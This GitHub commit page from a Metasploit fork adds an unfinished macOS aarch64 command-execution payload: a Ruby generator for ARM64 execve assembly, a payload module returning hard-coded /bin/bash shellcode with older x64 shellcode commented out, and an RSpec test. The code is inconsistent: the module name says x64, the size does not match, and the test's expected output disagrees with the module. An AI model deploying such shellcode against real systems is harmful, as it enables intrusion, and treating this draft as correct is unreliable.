forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
0f4644d
commit ca3d77d
Showing
6 changed files
with
228 additions
and
29 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,95 @@ | ||
class Payload | ||
def align_to_16_bytes(value, required_byte_alignment: 16) | ||
return value if value % required_byte_alignment == 0 | ||
|
||
value + (required_byte_alignment - (value % required_byte_alignment)) | ||
end | ||
|
||
def hex(val) | ||
val.to_s(16).rjust(2, '0') | ||
end | ||
|
||
def register_byte_size | ||
8 | ||
end | ||
|
||
def required_bytes_for_argv_pointers | ||
register_byte_size * 2 | ||
end | ||
|
||
def write_program_name_and_argv_pointers(bytes) | ||
asm = [] | ||
|
||
required_stack_size = align_to_16_bytes(bytes.length + required_bytes_for_argv_pointers) | ||
if required_stack_size >= 256 | ||
# Not supported as the syntax 'str x1, [sp, #-#{sp_offset}]' would fail, as the relative index must be an integer in range [-256, 255]. | ||
raise NotImplementedError, "Byte length #{bytes.length} too large and cannot be encoded" | ||
end | ||
|
||
stack_pointer_offset = required_stack_size | ||
|
||
# Program name, argv | ||
bytes.each_slice(register_byte_size) do |slice| | ||
# Padding | ||
slice += [0] * (register_byte_size - slice.length) | ||
asm << "# Starting bytes: #{slice.inspect} (#{slice.map(&:chr).join})" | ||
|
||
asm << "mov x5, #0x#{hex(slice[1])}#{hex(slice[0])}" | ||
asm << "movk x5, #0x#{hex(slice[3])}#{hex(slice[2])}, lsl #16" | ||
asm << "movk x5, #0x#{hex(slice[5])}#{hex(slice[4])}, lsl #32" | ||
asm << "movk x5, #0x#{hex(slice[7])}#{hex(slice[6])}, lsl #48" | ||
|
||
asm << "str x5, [sp, #-#{stack_pointer_offset}]" | ||
stack_pointer_offset -= register_byte_size | ||
end | ||
|
||
# Argv pointers | ||
asm << "// argv pointers" | ||
asm << "mov x5, sp" | ||
asm << "sub x5, x5, ##{required_stack_size} // program name base pointer" | ||
asm << "stp x5, xzr, [sp, #-#{required_bytes_for_argv_pointers}] // Store program name pointer followed by xzr, i.e. char *argv[] = { \"/bin/bash\", NULL };" | ||
|
||
asm | ||
end | ||
|
||
def datastore | ||
datastore = { 'CMD' => '/bin/bash' } | ||
# datastore = { 'CMD' => '/Users/jenkins/testing/test' } | ||
datastore | ||
end | ||
|
||
def generate | ||
asm = [] | ||
# enc = ''.b | ||
# enc << "".b | ||
|
||
puts asm.join("\n") | ||
|
||
# Uses | ||
program = datastore['CMD'] | ||
bytes = program.bytes | ||
|
||
# Write the bytes to the stack below the current sp location | ||
bytes = "#{program.b}\x00".bytes | ||
asm << '// write execve arguments on the stack, i.e. program name / argv' | ||
asm += write_program_name_and_argv_pointers(bytes) | ||
|
||
asm << '// syscall' | ||
asm << 'ldr x16, =0x200003b // Load sys number for SYS_EXECVE' | ||
asm << 'mov x0, sp // Arg0: char* path - Pointer to the current stack position' | ||
asm << "sub x0, x0, ##{align_to_16_bytes(bytes.length + required_bytes_for_argv_pointers)} // subtract to the base of the program name" | ||
asm << "mov x1, sp // Arg1: char *const argv[] - program name pointer for now" | ||
asm << "sub x1, x1, ##{required_bytes_for_argv_pointers}" | ||
asm << "mov x2, xzr // Arg2: char *const envp[] - NULL for now" | ||
asm << 'svc #0 // Supervisor call - i.e. the system call' | ||
|
||
# asm << 'ldr x16, =0x2000004 // Load sys number for SYS_WRITE' | ||
# asm << 'mov x0, 0 // Arg0: stdout file descriptor' | ||
# asm << 'mov x1, sp // Arg1: Pointer to the current stack position, will be the base of the written program name string' | ||
# asm << "sub x1, x1, #{align_to_16_bytes(bytes.length)} // Arg1: Point to the start of the string" | ||
# asm << "mov x2, ##{bytes.length} // Arg2: The size of the message in bytes" | ||
# asm << 'svc #0 // Supervisor call - i.e. the system call' | ||
end | ||
end | ||
|
||
puts Payload.new.generate.join("\n") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
module MetasploitModule | ||
|
||
CachedSize = 31 | ||
|
||
include Msf::Payload::Single | ||
|
||
def initialize(info = {}) | ||
super(merge_info(info, | ||
'Name' => 'OSX x64 Execute Command', | ||
'Description' => 'Execute an arbitrary command', | ||
'Author' => [ 'alanfoster' ], | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'osx', | ||
'Arch' => ARCH_X64 | ||
)) | ||
|
||
# exec payload options | ||
register_options([ | ||
OptString.new('CMD', [ true, "The command string to execute" ]) | ||
]) | ||
end | ||
|
||
# build the shellcode payload dynamically based on the user-provided CMD | ||
def generate(_opts = {}) | ||
# cmd_str = datastore['CMD'] || '' | ||
# # Split the cmd string into arg chunks | ||
# cmd_parts = Shellwords.shellsplit(cmd_str) | ||
# cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact | ||
# arg_str = cmd_parts.map { |a| "#{a}\x00" }.join | ||
# call = "\xe8" + [arg_str.length].pack('V') | ||
# payload = | ||
# "\x48\x31\xd2"+ # xor rdx, rdx | ||
# call + # call CMD.len | ||
# arg_str + # CMD | ||
# "\x5f" + # pop rdi | ||
# if cmd_parts.length > 1 | ||
# "\x48\x89\xf9" + # mov rcx, rdi | ||
# "\x52" + # push rdx (null) | ||
# # for each arg, push its current memory location on to the stack | ||
# cmd_parts[1..-1].each_with_index.map do |arg, idx| | ||
# "\x48\x81\xc1" + # add rcx + ... | ||
# [cmd_parts[idx].length+1].pack('V') + # | ||
# "\x51" # push rcx (build str array) | ||
# end.join | ||
# else | ||
# "\x52" # push rdx (null) | ||
# end + | ||
# "\x57"+ # push rdi | ||
# "\x48\x89\xe6"+ # mov rsi, rsp | ||
# "\x48\xc7\xc0\x3b\x00\x00\x02" + # mov rax, 0x200003b (execve) | ||
# "\x0f\x05" # syscall | ||
|
||
string = datastore['CMD'] | ||
create_string_in_stack(string) | ||
|
||
# /bin/bash | ||
"\xe5\x45\x8c\xd2\x25\xcd\xad\xf2\xe5\x45\xcc\xf2\x25\x6c\xee\xf2\xe5\x03\x1e\xf8\x05\x0d\x80\xd2\x05\x00\xa0\xf2\x05\x00\xc0\xf2\x05\x00\xe0\xf2\xe5\x83\x1e\xf8\xe5\x03\x00\x91\xa5\x80\x00\xd1\xe5\x7f\x3f\xa9\xf0\x00\x00\x58\xe0\x03\x00\x91\x00\x80\x00\xd1\xe1\x03\x00\x91\x21\x40\x00\xd1\xe2\x03\x1f\xaa\x01\x00\x00\xd4\x3b\x00\x00\x02\x00\x00\x00\x00".b | ||
end | ||
|
||
def create_string_in_stack(string) | ||
string | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
require 'rspec' | ||
|
||
RSpec.describe 'singles/osx/aarch64/exec' do | ||
include_context 'Msf::Simple::Framework#modules loading' | ||
|
||
let(:subject) do | ||
load_and_create_module( | ||
module_type: 'payload', | ||
reference_name: 'osx/aarch64/exec', | ||
ancestor_reference_names: [ | ||
'singles/osx/aarch64/exec' | ||
] | ||
) | ||
end | ||
let(:cmd) { nil } | ||
let(:datastore_values) { { 'CMD' => cmd } } | ||
|
||
before(:each) do | ||
subject.datastore.merge!(datastore_values) | ||
end | ||
|
||
describe '#generate' do | ||
context 'when the CMD is /bin/bash' do | ||
let(:cmd) { 'ABCD' } | ||
|
||
it 'generates' do | ||
expect(subject.generate).to eq('ABCD') | ||
end | ||
end | ||
end | ||
end |